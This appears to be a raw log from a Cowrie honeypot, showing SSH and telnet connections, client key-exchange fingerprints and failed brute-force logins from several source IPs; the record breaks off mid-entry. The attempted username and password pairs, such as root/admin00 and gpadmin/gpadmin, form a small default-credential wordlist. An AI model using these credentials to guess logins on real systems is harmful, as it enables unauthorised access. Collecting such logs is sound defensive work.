{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:37.963086Z","src_ip":"8.218.166.49","session":"fdb5f91e3853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":65192,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5d603d6cf5c","protocol":"ssh","message":"New connection: 95.90.13.168:65192 (10.17.0.5:22) [session: b5d603d6cf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:46.680579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:46.684459Z","src_ip":"95.90.13.168","session":"b5d603d6cf5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":36772,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8f5717a27ec","protocol":"ssh","message":"New connection: 183.182.125.142:36772 (10.17.0.5:22) [session: f8f5717a27ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:46.716753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:46.721412Z","src_ip":"183.182.125.142","session":"f8f5717a27ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:46.796726Z","src_ip":"95.90.13.168","session":"b5d603d6cf5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:46.993673Z","src_ip":"183.182.125.142","session":"f8f5717a27ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"charlie123","message":"login attempt [root/charlie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:47.263858Z","src_ip":"95.90.13.168","session":"b5d603d6cf5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:47.300484Z","src_ip":"8.218.166.49","session":"eee098e1bb16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:48.119011Z","src_ip":"183.182.125.142","session":"f8f5717a27ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:48.375469Z","src_ip":"95.90.13.168","session":"b5d603d6cf5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:49.393659Z","src_ip":"183.182.125.142","session":"f8f5717a27ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:51.307832Z","src_ip":"8.218.166.49","session":"fdb5f91e3853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.0","message":"Connection lost after 26.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:59.835912Z","src_ip":"8.218.166.49","session":"fdb5f91e3853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:14.499156Z","src_ip":"8.218.166.49","session":"eee098e1bb16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.174.31","src_port":59109,"dst_ip":"10.17.0.5","dst_port":23,"session":"078843e72e51","protocol":"telnet","message":"New connection: 181.115.174.31:59109 (10.17.0.5:23) [session: 078843e72e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:23.664661Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.174.31","src_port":59114,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae0578e5b9f","protocol":"telnet","message":"New connection: 181.115.174.31:59114 (10.17.0.5:23) [session: 4ae0578e5b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:26.070971Z"}
{"eventid":"cowrie.session.closed","duration":"77.1","message":"Connection lost after 77.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:26.208522Z","src_ip":"8.218.166.49","session":"eee098e1bb16","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:27.750048Z","src_ip":"8.218.166.49","session":"bbf379cf70cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:27.753993Z","src_ip":"8.218.166.49","session":"bbf379cf70cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":59365,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac1734076bfa","protocol":"ssh","message":"New connection: 95.90.13.168:59365 (10.17.0.5:22) [session: ac1734076bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:31.071088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:31.076090Z","src_ip":"95.90.13.168","session":"ac1734076bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:31.196212Z","src_ip":"95.90.13.168","session":"ac1734076bfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin00","message":"login attempt [root/admin00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:31.672246Z","src_ip":"95.90.13.168","session":"ac1734076bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:32.784655Z","src_ip":"95.90.13.168","session":"ac1734076bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":47738,"dst_ip":"10.17.0.5","dst_port":22,"session":"b745e86987a0","protocol":"ssh","message":"New connection: 182.180.57.212:47738 (10.17.0.5:22) [session: b745e86987a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:33.011029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:33.015455Z","src_ip":"182.180.57.212","session":"b745e86987a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:33.256036Z","src_ip":"182.180.57.212","session":"b745e86987a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pretoria","message":"login attempt [root/pretoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:34.249034Z","src_ip":"182.180.57.212","session":"b745e86987a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:35.492617Z","src_ip":"182.180.57.212","session":"b745e86987a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:41.832527Z","src_ip":"8.218.166.49","session":"9f75751b1704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:48.428209Z","src_ip":"8.218.166.49","session":"bbf379cf70cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.186","src_port":37993,"dst_ip":"10.17.0.5","dst_port":22,"session":"85dc3f591dce","protocol":"ssh","message":"New connection: 104.28.195.186:37993 (10.17.0.5:22) [session: 85dc3f591dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:49.628286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:49.636555Z","src_ip":"104.28.195.186","session":"85dc3f591dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:49.760700Z","src_ip":"104.28.195.186","session":"85dc3f591dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1919","message":"login attempt [root/1919] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:50.101433Z","src_ip":"104.28.195.186","session":"85dc3f591dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:51.181646Z","src_ip":"104.28.195.186","session":"85dc3f591dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:51.719911Z","src_ip":"8.218.166.49","session":"ca8882af5be6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"109.4","message":"Connection lost after 109.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:26:53.301920Z","src_ip":"8.218.166.49","session":"bbf379cf70cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":60456,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd9069b33329","protocol":"ssh","message":"New connection: 95.90.13.168:60456 (10.17.0.5:22) [session: cd9069b33329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:15.480265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:27:15.485284Z","src_ip":"95.90.13.168","session":"cd9069b33329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-